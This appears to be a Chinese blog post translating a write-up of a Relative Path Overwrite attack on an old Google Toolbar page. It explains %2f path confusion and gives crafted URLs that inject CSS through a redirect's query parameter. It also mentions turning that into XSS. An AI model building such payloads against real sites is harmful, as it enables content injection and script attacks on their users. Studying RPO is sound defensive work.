這是我第一次嘗試翻譯一篇漏洞挖掘文章,翻譯它也是為了加深理解它。這是一篇很有意思的漏洞挖掘文章。
前幾天在看fd的博客,偶然看到了這篇文章,雖然有點老了。但是思路真的牛皮。我決定花費時間和精力研究它們。我決定運用我對這個漏洞的理解來講述他們。
存在漏洞網站地址:http://www.google.com/tools/toolbar/buttons/apis/howto_guide.html
查看源代碼
<html> <head> <title>Google Toolbar API - Guide to Making Custom Buttons</title> <link href="../../styles.css" rel="stylesheet" type="text/css" /> ......
首先我們不管有沒有rpo漏洞吧,先看最基礎的,代碼是不符合規范的
當我在sublime中輸入<htm然后自動補全
代碼的開頭會有<!DOCTYPE html>
了解這個很重要,我們繼續往下說。
rpo呢,簡單點來說就是相對路徑覆蓋 ,源碼中引用了相對路徑css文件。
那么我們要做的就是覆蓋這個css文件,導致css攻擊釣魚 or css-xss攻擊?
現在我們知道,這算符合rpo攻擊的一些條件的 1.沒doctype 2.包含相對路徑
下一步我們要做什么?
進行驗證,他是否支持%2f,看看他是如何解析的:
嘗試修改網站為:http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html
當我們再次訪問
我們發現頁面正常訪問,唯一的缺陷就是css失效了,它並沒有顯示404
為什么會css樣式會失效?
讓我們深入理解他們:
網址輸入http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html
服務器的理解:http://www.google.com/tools/toolbar/buttons/apis/howto_guide.html
瀏覽器的理解:http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html
css樣式表的理解:http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html
沒把/改成%2f之前:http://www.google.com/tools/toolbar/buttons/apis/howto_guide.html
css樣式表:http://www.google.com/tools/toolbar/style.css
當把/改成%2f之后http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html
css樣式表:http://www.google.com/tools/style.css
這樣會導致style.css不存在,所以無法加載css樣式表。導致這種問題是因為apis%2fhowto_guide.html被認為是一個文件,而不是被認為是apisapis/howto_guide.html一個目錄
現在瀏覽器認為我們的目錄是/tools/toolbar/buttons/而不是/tools/toolbar/buttons/apis。
我們繼續往前探測,我們發現它影響/tools/toolbar/buttons/*style.css ,可以覆蓋他們,但是這范圍太小了。
我們嘗試創建個fake目錄和..%2ftoolbar
當輸入:http://www.google.com/tools/fake/..%2ftoolbar/buttons/apis%2fhowto_guide.html
服務器理解:因為fake和..%2ftoolbar目錄不存在,所以被理解:http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html
瀏覽器理解:http://www.google.com/tools/fake/..%2ftoolbar/buttons/apis%2fhowto_guide.html
css樣式表:http://www.google.com/tools/fake/style.css
在這里我們添加了fake 和..%2ftoolbar虛假目錄,這樣瀏覽器認為fake和..%2ftoolbar都是目錄,因為他們中間都有/*/,而%2f被理解成了文件。
經過實驗證明,理論上我們可以css覆蓋http://www.google.com/*/style.css ,但是我們再次往上層編碼,發現這是不行的,會出錯。所以css覆蓋止步於:http://www.google.com/tools/*/style.css
現在我們需要個契機,導致它能css覆蓋成功。 我們在http://www.google.com/tools/*尋找某個自定義內容的點,希望通過它能夠css覆蓋成功。
我們發現某個接口http://www.google.com/tools/toolbar/buttons/gallery
當我們訪問這個接口的時候會跳轉到:http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1
這個跳轉鏈接處有個q參數搜索,那么我們在接口處http://www.google.com/tools/toolbar/buttons/gallery?q=1
會進行二次跳轉,跳轉到http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&q=1
那么我們嘗試覆蓋css
在原來接口處http://www.google.com/tools/toolbar/buttons/gallery?q={}*{background:red}
他會跳轉到:
http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&q={}*{background:red}
讓我們查看源代碼:
css代碼成功植入,雖然他不在style樣式表中。
為什么只能使用接口而不能使用跳轉鏈接進行攻擊?因為我們的css覆蓋止步於:http://www.google.com/tools/*/style.css
而我們的跳轉接口在/tools/*下。
現在我們來利用它:
構造地址:http://www.google.com/tools/toolbar/buttons%2Fgallery%3Fq%3D%0a%7B%7D*%7Bbackground%3Ared%7D/..%2F的/apis/howto_guide.html
服務器的理解:http://www.google.com/tools/toolbar/buttons//apis/howto_guide.html
瀏覽器的理解:http://www.google.com/tools/toolbar/buttons%2Fgallery%3Fq%3D%0a%7B%7D*%7Bbackground%3Ared%7D/..%2F的/apis/howto_guide.html
css樣式表:http://www.google.com/tools/toolbar/buttons/gallery?q=%0a{}*{background:red}/style.css
然后進行二次跳轉:/gadgets/directory?synd=toolbar&frontpage=1&q=%0a{}*{background:red}/style.css
發現背景顏色變成了紅色。我們css覆蓋成功。
現在我們把改變顏色的代碼變成xss攻擊代碼:ie7下執行
就翻譯到這里吧。
關於rpo攻擊css地址的payload哪里來的?參考:http://www.thespanner.co.uk/2014/03/21/rpo/
這個人是作者
RPO攻擊真的是一種被大部分人忽略的攻擊,個人覺得危害很大,其實大家可以舉一反三,它不僅僅會影響相對路徑css覆蓋,甚至他也能導致相對路徑js覆蓋劫持。我准備下一篇文章翻譯他們。敬請期待。